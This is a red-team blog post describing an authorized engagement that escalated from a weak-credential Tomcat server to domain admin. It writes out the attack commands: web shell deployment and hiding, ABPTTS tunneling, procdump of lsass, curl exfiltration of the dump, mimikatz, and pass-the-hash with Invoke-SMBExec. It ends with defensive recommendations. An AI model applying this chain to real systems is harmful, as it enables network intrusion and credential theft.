Exploiting UN-attended Web Servers To Get Domain Admin – Red Teaming

Note: Images used are all recreated to redact actual target information.

Recently, we conducted a remote red team assessment  on a large organization and its child companies. This organization was particularly concerned about the security posture of their assets online. This was an organization with multiple child companies working with them, third-party organizations working on-premise as well as remotely to develop new products. The objective was to compromise the domain from their online assets.

While we want to this blog to be more on the technical side on how we compromised their network, we also want to point out a few mistakes that large organizations usually make.

Recon overview

TIP: It is easy to lose your way during reconnaissance when there is a huge scope and little time is involved. To avoid getting lost keep a track of everything you performed, found & is vulnerable in a place.

In reconnaissance, we identified few apache tomcat servers (mostly v7.0.70) running on the target organization’s owned range of IP addresses that seemed interesting. We sprayed few common credentials on these web servers and successfully logged in one of the servers. Later, we came to know that this server was being used by one of the child organizations for debugging applications to remote developers.  Upon logging in, we came to know that tomcat was running on a windows server 2012 r2.

Now, the easiest way to get command execution would be to upload a JSP web shell on the host server. we used a simple JSP web shell from security risk advisors cmd.jsp to execute commands on the host server.

Since tomcat allows deploying web apps in “war” format, we generated a .war file with `jar -cvf example.war cmd.jsp` to blend in with default web apps. After uploading the web shell, we immediately copied existing web shell to examples/jsp/images/somerandomname.jsp to avoid detection and obvious directory brute forcing. We then removed the previously uploaded web shell by un-deploying it.

Now that we had command execution and file upload capabilities on the host server, we began enumerating the host server for more information such as user name, current user privileges, current logged in users, host patch level, anti-malware services running on host, host uptime, firewall rules, proxy settings, domain admins etc. Next objective was to gather as much information as possible of the target machine, below is the gathered information:
Windows 2012 r2 Virtual machine inside the target domain.

• Newly launched
• Tomcat Service running with domain user privileges who is also a member of BUILTIN\Administrators group
• Latest security patches
• RDP enabled
• Daily User activity
• No SSH
• Armed with System Centre Endpoint protection and Trend Micro Deep Security.
• SYSVOL search for credentials didn’t yield satisfactory results.

While we had administrative privileges on the host, the web shell interactivity was very limited. The immediate goal was to gain a better foothold on the target host by following either of the methods below:

1. Drop an agent on the disk which slips past a multi-layered firewall, DPI and SOC team monitoring and connects us back with a shell.
2. or use web application server to tunnel traffic to target host over https and reach the internal host’s services like RDP, SMB and other web applications running on the target host.  (start a bind shell on the localhost of target host by dropping “nc.exe”, connect to it and get a shell)

As 1337 as it sounds, 1 is not always a go-to option, especially when there are heavy egress restrictions and obstacles and you have relatively limited time to complete an assessment. Tunnelling, on the other hand, is much quicker. while there is a caveat of additional work on getting a shell, the advantages like service interaction overshadow this caveat by a large margin. To achieve tunnelling, we used “A Black Path Toward the Sun“(ABPTTS) by Ben Lincoln from NCC group. You can find it here. Ben has done a great job describing the tool and how you can use it on situations like these. we recommend reading the manual before proceeding further.

Following is a typical way of tunnelling via ABPTTS.

1. Generate a server-side JSP file with default configuration with:

python abttsfactory.py –o tomcat_walkthrough

2. Generated war format of the JSP file.

jar -cvf tunnel.jsp abptts.jsp

3. Upload war file.

4. On the attack host, set the ABPTTS client forward all the attack host’s localhost traffic on port 3389 to target host port 3389.

python abpttsclient.py –c tomcat_walkthrough/config.txt –u <url-of-uploaded-jsp-server-file> -f 127.0.0.1:3389/127.0.0.1:3389

5. On the attack host run:

rdesktop 127.0.0.1

Similar to the above scenario we obtained internal service interaction with the target host.

Since we had local administrator privileges, from the web shell we added a new local user on the machine and added the new user to administrators and remote desktop users group. Everything was obvious from here. Now we could log in as a high privileged local user using RDP via tunnelling. While we didn’t have access to the domain yet, this is a huge win already.

Next thing is we used resources at hand to gain access to the domain. A typical procedure for this find credentials in the network or the local system. while SYSVOL search was a let-down, we can still extract credentials from the target host (the one compromised earlier). For this, we used Sysinternals’ “ProcDump.exe” to extract the memory contents of lsass.exe and feed it to mimikatz. We uploaded the procdump on the target host and moved it to the newly created user’s desktop. The procdump requires administrator privileges to run. So we opened cmd as an administrator and ran procdump with:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

Now, comes the tricky part of exfiltrating the dmp file which was well over 50mb. we used fuzzdb’s list.jsp in combination with curl to exfiltrate the file from the web server. List.jsp is a directory and file viewer from fuzzdb. You can find it here. We generated a war and deployed it on the tomcat server. Navigated to where the lsassdump was and copied the URL. Now on the attacking host, using curl, we ran:

curl –insecure https://targethost/examples/images/jsp/list.jsp?file=c:/Users/Administrator/Contacts/lsass.dmp –output lsass.dmp

We then fed the lsass dump file to our windows instance running mimikatz. We found over 6-7 domain user NTLM hashes and one Domain admin NTLM hash who recently logged in.

Checkmate. No unexpected twists, no drama.

We then used Invoke-SMBExec from here to get a shell and pass the hash by running:

Import-Module Invoke-SMBExec.ps1

Invoke-SMBExec -Target dc.domain.com -Domain domain.com -Username grantmepower -Hash <ntlm hash>

When we updated the target organization about this, they asked us to end it here.

To conclude this post, we would like to advise organizations with a large footprint on the internet that, expensive network security devices, Anti-malware software and 24/7 monitoring aren’t enough to protect internal networks. Especially, when you leave domain member servers wide open to internet with weak credentials and expect adversaries to knock on your front door. That said these are takeaways for the organization:

• Keep track of servers especially domain servers which are being used to develop products.
• Do not deploy servers without checking for weak credentials.
• There was no reason for the domain user to be a local administrator on that server.
• There is no need for a user belonging domain admin group to login into any domain machine to perform daily administrative tasks.
• Always Delegate control and follow the least privilege model.
• Frequent password rotation of high privileged user helps.

Credits –
Mukunda – https://twitter.com/_m3rcii

Manideep – https://twitter.com/mani0x00

Impressed? Now it’s your turn to improve your Organization Security Posture : Talk to Our Delivery Head